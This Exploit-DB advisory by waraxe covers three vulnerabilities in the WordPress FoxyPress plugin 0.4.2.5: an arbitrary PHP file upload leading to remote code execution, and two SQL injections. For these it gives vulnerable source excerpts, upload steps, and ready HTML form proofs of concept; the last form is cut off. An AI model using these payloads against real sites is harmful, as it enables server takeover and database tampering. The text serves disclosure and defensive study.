Exploit-DB #22374
Description: WordPress Plugin foxypress 0.4.2.5 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-10-31
Author: waraxe

Exploit:
[waraxe-2012-SA#095] - Multiple Vulnerabilities in Wordpress FoxyPress Plugin
===============================================================================

Author: Janek Vind "waraxe"
Date: 30. October 2012
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-95.html


Description of vulnerable target:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

FoxyPress is a FREE shopping cart and product management tool that integrates
with FoxyCart's e-commerce solution to help you get your store up and running
quickly and efficiently. 

http://wordpress.org/extend/plugins/foxypress/

Affected version: 0.4.2.5



###############################################################################
1. Arbitrary File Upload Vulnerability in "documenthandler.php"
###############################################################################

Reasons: Missing security checks in file upload functionality
Attack vectors: Uploaded file
Preconditions: Logged in as admin with FoxyPress product editing privileges
 

Php script "documenthandler.php" line 14:
------------------------[ source code start ]----------------------------------
if (!empty($_FILES)) {
...
 $targetpath = ABSPATH . INVENTORY_DOWNLOADABLE_LOCAL_DIR;
...
 $newfilename = foxypress_GenerateNewFileName($fileExtension, $inventory_id,
   $targetpath, $prefix);    
 $targetpath = $targetpath . $newfilename;     
 if(move_uploaded_file($_FILES['Filedata']['tmp_name'], $targetpath))
------------------------[ source code end ]------------------------------------

As we can see above, there is no security checks against uploaded file. As
result, attacker is able to upload files with arbitrary extension to remote
system. In case of php files this vulnerability leads to RCE (Remote Code
Execution).

Test:

1. Open product editing webpage:

http://localhost/wp342/wp-admin/post.php?post=43&action=edit

2. Look for "Digital Downloads". Insert some number to the input box below:
"Max Downloads allowed (if you need to override the main setting)".

3. There must be "Browse Files" button (Flash-based). Choose the php file, you
want to upload.

We can observe AJAX in action and as result download link appears:

http://localhost/wp342/wp-content/inventory_downloadables/my_download_jw82ku0jz9_43.php

Opening that download link will execute previously uploaded php file.



###############################################################################
2. SQL Injection Vulnerability in "documenthandler.php"
###############################################################################

Reasons: Insufficient sanitization of user-supplied data
Attack vectors: User-supplied POST parameter "prefix"
Preconditions: Logged in as admin with FoxyPress product editing privileges
 

Php script "documenthandler.php" line 14:
------------------------[ source code start ]----------------------------------
if (!empty($_FILES)) {
    $inventory_id = intval( $_POST['inventory_id'] );
    $downloadabletable = $_POST['prefix'];
...
 $query = "INSERT INTO " . $downloadabletable . " SET inventory_id='" 
  . $inventory_id . "', filename='" . mysql_escape_string($newfilename)
  . "',  maxdownloads= '" . mysql_escape_string($downloadablemaxdownloads)
  . "', status = 1";
 $wpdb->query($query);
------------------------[ source code end ]------------------------------------

We can see, that user-supplied POST parameter "prefix" in used in subsequent
SQL "INSERT INTO" query as table name. There is no input data sanitization,
therefore attacker is able to insert any data to any tables in current database.


Test (parameter "security" must be valid):
-------------------------[ test code start ]-----------------------------------
<html><body><center>
<form action="http://localhost/wp342/wp-admin/admin-ajax.php?action=foxypress_download&security=844b64ce45" method="post" enctype="multipart/form-data">
<input type="file" name="Filedata">
<input type="hidden" name="downloadablemaxdownloads" value="1">
<input type="hidden" name="prefix" value="waraxe">
<input type="submit" value="Test">
</form>
</center></body></html>
--------------------------[ test code end ]------------------------------------


Result (Wordpress must be set to show SQL errors):

WordPress database error: [Table 'wp342.waraxe' doesn't exist]
INSERT INTO waraxe SET inventory_id='0', filename='downloadable_qga73aojs8_0.php', maxdownloads= '1', status = 1



###############################################################################
3. SQL Injection Vulnerability in "foxypress-manage-emails.php"
###############################################################################

Reasons: Insufficient sanitization of user-supplied data
Attack vectors: User-supplied GET parameter "id"
Preconditions: Logged in as admin with FoxyPress management privileges
 

Php script "foxypress-manage-emails.php" line 14:
------------------------[ source code start ]----------------------------------
function foxypress_manage_emails_page_load() 
{
 global $wpdb;
    
 if(isset($_GET['mode']) && $_GET['mode']=='edit')
 {
  if(isset($_POST['foxy_em_save']))
  {
...
   $sql = "UPDATE  ". $wpdb->prefix . "foxypress_email_templates set 
     foxy_email_template_name='".$templatename."', 
     foxy_email_template_subject='".$subject."', 
     foxy_email_template_email_body='".$content."', 
     foxy_email_template_from='" . $from . "' 
     WHERE email_template_id=".$_GET[id];
------------------------[ source code end ]------------------------------------


Test:
-------------------------[ test code start ]-----------------------------------
<html><body><center>
<form action="http://localhost/wp342/wp-admin/edit.php?post_type=foxypress_product&page=manage-emails&mode=edit&id=waraxe" method="post">
<input type="hidden" name="foxy_em_save" value="1">
<input type="hid